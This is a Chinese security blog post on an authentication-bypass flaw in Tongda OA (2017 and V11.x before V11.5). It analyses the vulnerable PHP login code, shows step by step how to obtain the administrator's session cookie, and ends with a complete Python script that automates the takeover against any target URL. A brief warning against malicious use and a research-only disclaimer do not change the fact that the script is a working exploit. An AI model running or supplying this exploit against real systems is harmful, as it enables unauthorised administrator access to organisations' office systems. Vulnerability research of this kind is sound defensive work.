0x01 影响版本

通达OA 2017

通达OA V11.X<V11.5

0x02 环境搭建

这里使用TDOA11.4

下载
https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe
https://pan.baidu.com/s/1leUp2MOCNzSL36tRFHBQww 提取码:Mo60

解密
zend 5.4解密工具:https://www.cr173.com/soft/418289.html
在线解密网站:http://dezend.qiling.org/free/

0x03 分析

漏洞文件
webroot\logincheck_code.php
关键代码

19080-9zza3eisc0a.png

通过POST接收UID跟CODEUID参数

$UID = intval($_POST['UID']);
$CODEUID = $_POST['CODEUID'];

login_codeuid 从redis缓存中TD::get_cache()获取"CODE_LOGIN" . $CODEUID",如果缓存里没有 CODE_LOGIN.$CODEUID就exit掉

$login_codeuid = TD::get_cache('CODE_LOGIN' . $CODEUID);
if (!isset($login_codeuid) || empty($login_codeuid)) {
    $databack = array('status' => 0, 'msg' => _('参数错误!'), 'url' => 'general/index.php?isIE=0');
    echo json_encode(td_iconv($databack, MYOA_CHARSET, 'utf-8'));
    exit;
}

然后带入sql语句

$query = 'select * from user where uid=\'' . $UID . '\'';
$cursor = exequery(TD::conn(), $query1);

我们可以去数据库看看这条语句执行看看uid为1的用户是admin么,来到mysql5目录,查看my.ini获取密码

43630-z5qpqbsvoc.png

查询

74511-fo4wgxw1qq.png

大概在150行左右进行session进行赋值

02637-pmk879zh1w.png

那么我们只要绕过18行exit即可实现任意用户登入,ispirit\login_code.php设置了缓存我们可以利用

59036-rm1gz4zn4wd.png

接收我们codeuid的值然后去查询缓存如果为空会getUniqid()生成一个

$codeuid = $_GET['codeuid'];
$login_codeuid = TD::get_cache('CODE_LOGIN_PC' . $codeuid);
if (empty($login_codeuid)) {
    $login_codeuid = getUniqid();
}

通过set_cache方法设置了,然后echo通过json形式输出,但是这里设置的是CODE_LOGIN_PC,另外一个文件查询的是CODE_LOGIN_PC利用的时候要手动拼接_PC

$databack = array('codeuid' => $login_codeuid, 'source' => 'pc', 'codetime' => time());
$dataStr = td_authcode(json_encode($databack), 'ENCODE');
$dataStr = 'LOGIN_CODE' . $dataStr;
$databacks = array('codeuid' => $login_codeuid, 'authcode' => $dataStr);
TD::set_cache('CODE_LOGIN_PC' . $login_codeuid, $login_codeuid, 120);
echo json_encode(td_iconv($databacks, MYOA_CHARSET, 'utf-8'));

另外一处webroot\general\login_code.php,利用同上

80322-p6ktpmdqhr.png

0x04 复现

首先访问ispirit/login_code.php 得到codeuid

60744-g1qtuxoa4z9.png

UID 设置成 1,然后 CODEUID 设置成: _PC+codeuid:访问logincheck_code.php

成功得到cookie

83788-zbeyty7opbf.png

替换成功登入

12198-n9newn5jn7f.png

0x04 TDOA11.3版本测试

这个版本的代码无需验证CODEUID直接传入uid即可利用

13749-tobs0vpa98g.png

构造uid访问,得到cookie

31409-izgm3x1y3zj.png

替换cookie成功登入

35040-d314antv0tr.png

0x05利用脚本

花了一小会写的,禁止拿去恶意渗透

#!/usr/bin/python
# -*- coding: UTF-8 -*-

import requests
import re

url=input('url: ')

def getCodeuid():
    try:
        r=requests.get(url+'/ispirit/login_code.php')
        return r.json().get('codeuid')
    except:
        return False

def getCookie():
    codeuid=getCodeuid()
    if codeuid:
        data={'UID':'1','CODEUID':'_PC'+codeuid}
        r=requests.post(url+'/logincheck_code.php',data=data)
        if str(r.json().get('status')) in '1':
            # print(r.headers['Set-Cookie'][0:38])
            return(r.headers['Set-Cookie'])
    return False
    
def checkCookie():
    tmp=getCookie()
    if tmp:
        try:
            tmp=re.findall('PHPSESSID=(.*)?;',tmp)
            cookies={'PHPSESSID':tmp[0]+';'}
            newurl=url+'/general/index.php'
            r=requests.get(newurl,cookies=cookies)
            if '用户未登录' in r.text:
                return False
            else:
                print(newurl)
                print(cookies)
                return True
        except:
            return False


if __name__=="__main__":
    if(checkCookie()):
        print('OK')
    else:
        print('no')

运行测试

87499-pezwkp8sehg.png

0x06 参考

https://xz.aliyun.com/t/7704
https://y4er.com/post/tongda-fake-user/

Last modification:April 26, 2022
  • 本文作者:Juneha
  • 本文链接:https://blog.mo60.cn/index.php/archives/299.html
  • 版权声明:本博客所有文章除特别声明外,均默认采用 CC BY-NC-SA 4.0 许可协议。
  • 法律说明:
  • 文章声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任,本人坚决反对利用文章内容进行恶意攻击行为,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全,本文内容未隐讳任何个人、群体、公司。非文学作品,请勿过度理解,根据《计算机软件保护条例》第十七条,本站所有软件请仅用于学习研究用途。
如果觉得我的文章对你有用,请随意赞赏,可备注留下ID方便感谢